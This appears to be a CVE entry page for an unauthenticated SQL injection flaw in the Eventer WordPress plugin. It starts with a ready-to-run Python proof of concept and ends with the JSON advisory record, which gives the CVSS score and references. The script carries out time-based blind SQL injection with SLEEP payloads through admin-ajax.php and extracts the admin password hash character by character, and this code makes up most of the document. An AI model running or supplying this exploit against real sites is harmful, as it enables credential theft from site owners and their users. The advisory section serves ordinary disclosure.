CVE-2026-9700

# CVE-2026-9700 PoC - Eventer WordPress Plugin SQL Injection # Vulnerability: Time-based Blind SQL Injection via 'code' parameter # Affected: Eventer Plugin <= 4.4.2 import requests import time import sys TARGET_URL = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # Adjust the endpoint based on the actual Eventer plugin AJAX handler # The vulnerable 'code' parameter is typically processed via WordPress AJAX def check_injection(url, payload): """Send SQL injection payload and measure response time""" data = { "action": "eventer_get_event", # Adjust action name as needed "code": payload } start_time = time.time() try: response = requests.post(url, data=data, timeout=30) except requests.exceptions.Timeout: return True # Timeout indicates successful time-based injection elapsed = time.time() - start_time return elapsed > 4 # If response delayed > 4 seconds, injection successful def extract_data(url, query): """Extract data using time-based blind SQL injection""" result = "" for position in range(1, 50): for ascii_val in range(32, 127): # MySQL time-based injection payload payload = f"1' AND (SELECT IF(SUBSTRING(({query}),{position},1)='{chr(ascii_val)}',SLEEP(5),0))-- -" if check_injection(url, payload): result += chr(ascii_val) sys.stdout.write(chr(ascii_val)) sys.stdout.flush() break else: break return result # Step 1: Verify the vulnerability print("[*] Testing for SQL injection vulnerability...") test_payload = "1' AND SLEEP(5)-- -" if check_injection(TARGET_URL, test_payload): print("[+] Vulnerability confirmed! Target is vulnerable to time-based SQLi.") # Step 2: Extract database version print("[*] Extracting database version...") version = extract_data(TARGET_URL, "SELECT VERSION()") print(f"\n[+] Database version: {version}") # Step 3: Extract admin credentials print("[*] Extracting admin user credentials...") creds = extract_data(TARGET_URL, "SELECT user_pass FROM wp_users WHERE user_login='admin' LIMIT 1") print(f"\n[+] Admin password hash: {creds}") else: print("[-] Target does not appear to be vulnerable.")

{"cve": {"id": "CVE-2026-9700", "sourceIdentifier": "[email protected]", "published": "2026-07-08T06:16:23.043", "lastModified": "2026-07-08T14:55:07.843", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Eventer plugin for WordPress is vulnerable to time-based SQL Injection via the ‘code’ parameter in all versions up to, and including, 4.4.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "joe007", "product": "Eventer", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "4.4.2", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-07-08T13:58:39.229719Z", "id": "CVE-2026-9700", "options": [{"exploitation": "none"}, {"automatable": "yes"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://codecanyon.net/item/eventer-wordpress-event-manager-plugin/20972534", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5e3b0a3a-ce4b-40fd-9519-a81e315cee42?source=cve", "source": "[email protected]"}]}}